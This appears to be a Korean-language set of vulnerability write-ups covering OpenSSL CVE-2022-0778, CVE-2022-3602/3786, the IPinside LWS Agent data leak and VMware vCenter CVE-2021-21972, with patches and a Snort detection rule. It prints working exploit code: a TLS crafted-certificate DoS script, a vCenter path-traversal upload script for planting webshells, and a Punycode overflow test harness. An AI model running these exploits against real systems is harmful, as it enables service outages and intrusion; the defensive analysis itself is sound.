- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점
① 영향받는 버전 - OpenSSL 1.0.2 및 이전 버전 - OpenSSL 1.1.1 및 이전 버전 - OpenSSL 3.0 및 이전 버전
② 영향받는 상황 - 서버 인증서를 사용하는 TLS 클라이언트 - 클라이언트 인증서를 사용하는 TLS 서버 - 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체 - 인증 기관이 가입자의 인증 요청을 구문 분석 - ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것 - 매개변수 값을 제어하는 BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램
2.1 분석
-a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함
- BN_mod_sqrt()는 모듈러의 제곱근을 계산
※ 함수 위치 :bn_sqrt.c
※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수
- 해당 함수는 아래 형식의 인증서를 해석할 때 사용
① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우
② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서
- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생
- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로내부에 무한 루프가 발생할 수 있음
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분
① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함
② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생
2.2 PoC
- PoC의 동작 순서는 다음과 같음
① ClientHello 메시지를 전송
② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인
③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩
※ DER(Distinguished Encoding Rules)
바이너리 형태로 인코딩한 포맷으로 확장자는 .der
der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용
④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생
from socket import socket, AF_INET, SOCK_STREAM
from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse
class CraftedTLSConnection(TLSConnection):
def _clientKeyExchange(self, settings, cipherSuite,
clientCertChain, privateKey,
certificateType,
tackExt, clientRandom, serverRandom,
keyExchange):
if cipherSuite in CipherSuite.certAllSuites:
# Consume server certificate message
for result in self._getMsg(ContentType.handshake,
HandshakeType.certificate,
certificateType):
if result in (0, 1):
yield result
else:
break
if cipherSuite not in CipherSuite.certSuites:
# possibly consume SKE message
for result in self._getMsg(ContentType.handshake,
HandshakeType.server_key_exchange,
cipherSuite):
if result in (0, 1):
yield result
else:
break
# Consume Certificate request if any, if not bail
for result in self._getMsg(ContentType.handshake,
(HandshakeType.certificate_request,
HandshakeType.server_hello_done)):
if isinstance(result, CertificateRequest):
craftedCertificate = CraftedCertificate(certificateType)
craftedCertificate.create(open('crafted.crt', "rb").read())
for r in self._sendMsg(craftedCertificate):
yield r
print("Crafted Certificate msg sent, check server.")
exit(0)
else:
print("Server does not support TLS client authentication, nothing to do.")
exit(1)
class CraftedCertificate(HandshakeMsg):
def __init__(self, certificateType):
HandshakeMsg.__init__(self, HandshakeType.certificate)
self.certificateType = certificateType
self.certChain = None
self.der = bytearray(0)
def create(self, certBytes):
self.der = certBytes
def write(self):
w = Writer()
if self.certificateType == CertificateType.x509:
chainLength = len(self.der) + 3
w.add(chainLength, 3)
w.addVarSeq(self.der, 1, 3)
else:
raise AssertionError()
return self.postWrite(w)
def run(server, port):
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, port))
connection = CraftedTLSConnection(sock)
connection.handshakeClientCert()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Parameters')
parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
args = parser.parse_args()
run(args.server, args.port)
3. 대응방안
① 최신 업데이트 적용
- i == e 를 종료 조건으로 가지는 for문으로 변경
패치코드
/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
영향 받는 버전
패치 버전
OpenSSL 1.0.2
OpenSSL 1.0.2zd
OpenSSL 1.1.1
OpenSSL 1.1.1n
OpenSSL 3.0
OpenSSL 3.0.2
※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고
- (주)인터리젠에서 제작한 단말기 정보 수집 및 실시간 개인정보 유출탐지 및 차단 솔루션
- 접속자 단말기 정보 수집, 해외 IP 분석 및 차단, 부정 접속 등을 방지하기 위한 프로그램
1.1 IPinside 동작 방식
① IPinside LWS Agent 애플리케이션도 로컬 서버를 통해서 웹사이트와 통신
② 은행 웹사이트가 접속자에 대한 정보를 더 얻기 위해 localhost:21300로 JSONP 요청을 보냄
JSONP (JSON with Padding) - 자바 스크립트는 서로 다른 도메인에 대한 요청을 보안상 제한 = 동일근원정책(Same-Origin Policy, SOP) - 이러한 정책으로 인해 생기는 이슈를 cross-domain 문제 - JSONP은 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용
③ 해당 요청 실패 시 은행 웹사이트는 접속을 거부 및 IPinside LWS Agent를 먼저 설치할 것을 요구
④ 애플리케이션이 실행되고 있다면 웹사이트는 wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있음
2. 취약점
- wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있으나 필요 정보보다 많은 데이터가 전송
2.1 wdata
- 실행중인 프로세스에 대한 정보를 저장
- 난독화시 단지 무작위 바이트 하나만 사용
- [사진 3]을 통해 wdata에는 다음과 같은 데이터 등이 저장됨
① IP 정보
c0 a8 7a 01 (실 IP 주소 192.168.122.1)
c0 a8 7a 8c (192.168.122.140, 첫 네트워크 카드의 IP 주소)
c0 a8 7a 0a (192.168.122.10, 두번째 네트워크 카드의 IP 주소)
② 운영체제 정보
65 (문자 e)는 GetProductInfo() 함수를 호출한 결과
※ GetProductInfo(): 로컬 컴퓨터의 운영 체제에 대한 제품 유형을 검색 및 반환
③ 하드드라이브 정보
하나는 시리얼 번호가 QM00001이고 다른 하나는 abcdef
④ 실행중인 프로세스 정보
firefox.exe
⑤ 실행 플랫폼
가상 머신
⑥ 원격제어 프로그램 동작 정보
2.2 ndata
- 접속자의 IP 주소를 저장
- 난독화는 랜덤성도 없으며 데이터는 항상 동일
- 웹 사이트가 IPinside LWS Agent에 통신(응답)하는 과정에서 RESPONSE_IP의 값이 HDATAIP에 저장되며, 이는 접속자 IP주소
2.3 udata
- “u” 는 “unique”의 약자이며, 몇 가지 다른 아웃풋 타입이 있음
- 15개의 서로 다른 CPUID 명령호출의 결과를 합쳐서 만든 것
※ CPUID 명령어: 소프트웨어가 프로세서의 세부 정보를 검색할 수 있도록 하는 프로세서 보조 명령어
- 난독화는 랜덤성도 없으며 데이터는 항상 동일
- [사진 4]를 확인해보면 네트워크 카드, 하드 드라이브의 목록과 네트워크 카드의 MAC 주소도 목록에 포함
2.4 wdata, ndata, udata 보호
- 사용자를 비익명화하기 위한 여러 데이터가 사용
- 사용자의 H/W, S/W에 대한 데이터를 통해 시스템의 취약점 확인 > 잠재적으로 다른 공격으로 발전 할 가능성
- localhost:21300에서 동작하는 서버는 누가 응답하는지 상관하지 않음 > 어떤 웹사이트든 데이터 요청 가능
① wdata - 3단계의 보호 장치가 적용_난독화, 압축, 암호화(공개키 암호화) - 암호화에 사용된 RSA 암호화는 해당 테스트에서 2시간 36분 만에 비공개키를 계산
② ndata, udata - 유일한 보호장치는 암호화(AES-256 기반의 대칭 암호화) - 암호화 키는 애플리케이션 내에 하드코딩 - 실행 시마다 동일한 ciphertext를 생성_ CBC 블록 연쇄 모드를 사용하며, 초기회 백터 IV를 전달하지못해 항상 0으로 채움
> 재전송 공격을 통해 미리 저장한 유효한 응답을 웹 사이트에 보낼 수 있음
※ challenge-handshake scheme, 타임 스탬프(timestamp) 등 대응 방안이 확인되지 않음
∴ 데이터를 제대로 보호하고 있지 않으며, 어떤 임의의 웹사이트에서도 수집한 데이터에 접근할 수 있음
2.5 어플리케이션의 전반적인 보안성
- OpenSSL 라이브러리를 사용 > OpenSSL 1.0.1j 버전
※ 2015년 릴리즈, 2017년 OpenSSL 1.0.1에 대한 지원이 중단
- 단일 쓰레드로 동작 > 서비스 거부 공격에 취약
- ssl_read 가 정확히 8192 바이트를 리턴해서 버퍼를 꽉 채울 수도 있음 > 이럴 경우 inputBuffer는 널문자로 종료되지 않음
- 이것을 복사한 request 도 마찬가지로 널문자로 종료되지 않음 > sprintf() 나 handle_request()에서 request를 널문자로 종료되는 문자열로 취급할 경우 버퍼를 초과해서 읽을 것
- 그렇게 되면 sprintf() 는 16384 바이트 이상의 데이터를 읽을 것 > 타깃 버퍼에 다 담기는 너무 큰 데이터
=> 스택오버플로우나 버퍼의 범위를 벗어난 읽기 등 발생가능
> 이 취약점 중 일부는 확실히 애플리케이션을 죽일 수도 있음 > 2개의 개념증명 웹페이지를 만들어서 여러 차례 확인
> 원격 코드 실행 취약점은 확인되지 않음 > StackGuard와 SafeSEH 기능이 효율적으로 동작하기 때문
3. 조치
- 블라디미르 팔란트
> 2022년 10월 21일 3건의 취약점 보고서를 KrCERT에 보고
> 11월 14일 KrCERT는 보고서를 인터리젠에 전달
- 인터리젠 관계자
> 보고서 중 하나만 2023년 1월 6일 전달 받음 주장
> 문제점에 대한 수정 버전은 2월에 배포할 예정 > 새로운 버전을 사용자에게 배포하는 것은 고객(은행 등)의 문제
Java RMI - 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술 - 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출 - 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용 - 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용
Weblogic T3 프로토콜 - WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜
- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점
※파일 업로드 후 원격 명령 실행으로 이어질 수 있음
영향받는 버전 - VMware vCenter Server 7.0 U1c 이전 7.x 버전 - VMware vCenter Server 6.7 U3I 이전 6.7 버전 - VMware vCenter Server 6.5 U3n 이전 6.5 버전 - VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전
2. 분석
2.1 원인
- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도
- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능
- [사진 3]의 코드는 다음과 같은 문제를 유발시킴
① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음
② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음
∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능
2.2 PoC
- 공개된 PoC를 확인 시 다음을 알 수 있음
① POST 메소드 사용
② /ui/vropspluginui/rest/services/uploadova URL 요청
③ .tar 확장자 파일을 업로드 시도
※ 대상 서버가 Windows인 경우
- .jsp 형식의 웹 쉘 등 악의적인 파일을
- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)
- 파일에 접근 및 원격 코드 실행
#!/usr/bin/python3
import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip):
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
if r.status_code == 405:
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
return True
else:
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
return False
def make_traversal_path(path, level=5, os="unix"):
if os == "win":
traversal = ".." + "\\"
fullpath = traversal*level + path
return fullpath.replace('/', '\\').replace('\\\\', '\\')
else:
traversal = ".." + "/"
fullpath = traversal*level + path
return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os):
tarf = tarfile.open('exploit.tar', 'w')
fullpath = make_traversal_path(path, level=5, os=os)
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
tarf.add(file, fullpath)
tarf.close()
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip):
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
if r.status_code == 200 and r.text == 'SUCCESS':
print('[+] File uploaded successfully')
else:
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The file to tar')
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
args = parser.parse_args()
vulnerable = check(args.target)
if vulnerable and (args.file and args.path and args.operating_system):
archive(args.file, args.path, args.operating_system)
post(args.target)
3. 대응방안
3.1 서버측면
① 최신 버전의 업데이트 적용
- VMware vCenter Server 7.0 U1c - VMware vCenter Server 6.7 U3I - VMware vCenter Server 6.5 U3n - VMware Cloud Foundation (vCenter 서버) 4.2 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2
3.2 네트워크 측면
① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용
alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)
- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능
① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용
② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발
- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점
영향받는 버전 OpenSSL 3.0.0 ~ 3.0.6
2.1 분석
- X.509 인증서를 확인하는 동안 Punycode를 ossl_punycode_decode()에서잘못 처리하여 발생
- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행
퓨니코드(Puny Code) - 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법 - ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩 - OpenSSL 3.0.0에서 도입 - 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임 ex) 한국 => xn--3e0b707e.kr
참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C
- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음
2.2 PoC
2.2.1 CVE-2022-3602
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"
// Edit to change the output buffer's length
#define DECODED_LENGTH 20
int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);
int main(int argc, char *argv[])
{
setlocale(LC_CTYPE, "");
uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
unsigned int decoded_len = DECODED_LENGTH;
if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
printf("Encoding failed!\n");
free(decoded);
exit(1);
}
printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
printf("decoded: [%d] ", decoded_len);
int i;
for(i = 0; i < decoded_len; i++) {
printf("%lc", decoded[i]);
}
printf("\n");
free(decoded);
return 0;
}